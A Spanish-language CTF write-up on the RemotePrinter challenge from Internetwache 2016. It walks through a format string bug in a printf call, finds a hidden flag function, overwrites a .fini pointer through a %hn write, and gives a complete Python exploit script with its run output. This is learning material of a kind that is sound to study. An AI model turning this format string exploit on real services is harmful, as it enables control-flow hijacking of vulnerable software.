Hello everyone! :)


Este finde tuvo lugar el Internetwache 2016 CTF y como algunos de estos cabrones estaban en la ResaCON le tuve que hacer frente por primera vez a las pruebas de exploiting y al final conseguí sacarlas todas :D (aunque fuesen facilitas..)


Así que para variar de tanto WEB os traigo un writeup de la prueba RemotePrinter (EXP80).



Si nos conectamos al servicio nos dirá que es una impresora remota y nos preguntará por una ip+puerto de donde leer.

Despues de introducir estos parámetros, llama a una función tal que así:


function {
    eax = socket(0x2, 0x1, 0x0);
    esp = (esp - 0x4) + 0x10;
    var_C = eax;
    if (var_C == 0xffffffff) {
            puts("No socket :(");
    }
    else {
            inet_addr(arg0);
            htons(arg1 & 0xffff);
            eax = connect(var_C, 0x2, 0x10);
            esp = (((esp - 0xc) + 0x10 - 0xc) + 0x10 - 0x4) + 0x10;
            if (eax < 0x0) {
                    perror("No communication :(\n");
            }
            else {
                    eax = recv(var_C, var_201C, 0x2000, 0x0);
                    esp = esp + 0x10;
                    if (eax < 0x0) {
                            puts("No data :(");
                    }
                    else {
                            printf(var_201C);
                            close(var_C);
                    }
            }
    }
    return;
}

Esto lo que hace es intentar conectarse y hacer un echo de los datos que reciba. Pero aquí ya vemos algo interesante:

printf(var_201C);
Llama a printf sin especificar formato, ergo, habemus format string attack. Para confirmar esta teoría:
$ echo -n 'AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.' | nc -lvvp 1337


$ ./RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:1337
Thank you, I'm trying to print 127.0.0.1:1337 now!
AAAA.fff7cedc.00002000.00000000.00000000.00000000.00000000.41414141.3830252e.

Bingo! Vemos que el buffer empieza en el séptimo parámetro.


Analizando un poco más el binario, vemos que existe una función (que nunca es llamada) en 0x08048867 que lee un archivo flag.txt y muestra su contenido:


function {
    var_C = fopen(0x80489de, 0x80489dc);
    fgets(var_3E, 0x32, var_C);
    fclose(var_C);
    eax = printf("YAY, FLAG: %s\n", var_3E);
    return eax;
}

Lo que buscaremos será redirigir el flujo del programa a dicha función. Se puede conseguir de distintas maneras (tabla .got, subir por la pila hasta encontrar eip, ...).

Yo opté por la sección .fini, que ejecuta código al terminar el proceso.


Lo primero será buscar su dirección:


$ readelf -S RemotePrinter | grep .fini
  [14] .fini             PROGBITS        08048924 000924 000014 00  AX  0   0  4
  [19] .fini_array       FINI_ARRAY      08049b44 000b44 000004 00  WA  0   0  4

Y a continuación la dirección del puntero que la contiene (la cual queremos sobreescribir):


$ objdump -s ./RemotePrinter | grep -A 4 .dynamic
Contenido de la sección .dynamic:
 8049b4c 01000000 01000000 0c000000 98840408  ................
 8049b5c 0d000000 24890408 19000000 409b0408  ....$.......@...  <---- little endian!!
 8049b6c 1b000000 04000000 1a000000 449b0408  ............D...
 8049b7c 1c000000 04000000 f5feff6f 8c810408  ...........o....

Por lo tanto nuestro objetivo es escribir 0x08048867 en 0x8049b5c + 4 = 0x8049b60.


En este caso, vemos que los dos bytes más significativos son iguales, así que solo tendremos que preocuparnos por escribir los dos últimos.

Bien, pues ya tenemos todos los ingredientes, solo falta construir el payload:

[direccion_objetivo]%[funcion_flag - 4 (que ya llevamos)]x%[posicion]$hn

Finalmente nos quedaría el siguiente exploit:


#!/usr/bin/python
# exp70 - internetwache CTF 2016 (by xassiz)
#
import socket, struct, sys

target_addr  = 0x8049b60
contents     = 0x8867
arg_position = 7 


p = lambda x: struct.pack('<I', x)

def pwn(target_addr, contents, arg_position):
    payload  = p(target_addr)
    payload += '%' + str(contents - len(payload)) + 'x%'
    payload += str(arg_position) + '$hn'

    return payload

if __name__ == '__main__':
    s = socket.socket() 
    s.bind(("localhost", int(sys.argv[1])))
    s.listen(1)

    sc, addr = s.accept()

    sc.send(pwn(target_addr, contents, arg_position))
    r = sc.recv(1024)

    sc.close()
    s.close()


$ python2 pwn.py 1337


$ nc 188.166.135.120 12377
This is a remote printer!
Enter IPv4 address:my.ser.ver.ip
Enter port:1337
Thank you, Im trying to print my.ser.ver.ip:1337 now!

IW{YVOF0RmaTt3dRMT_Pr1nT3R}.


Bytes!

xassiz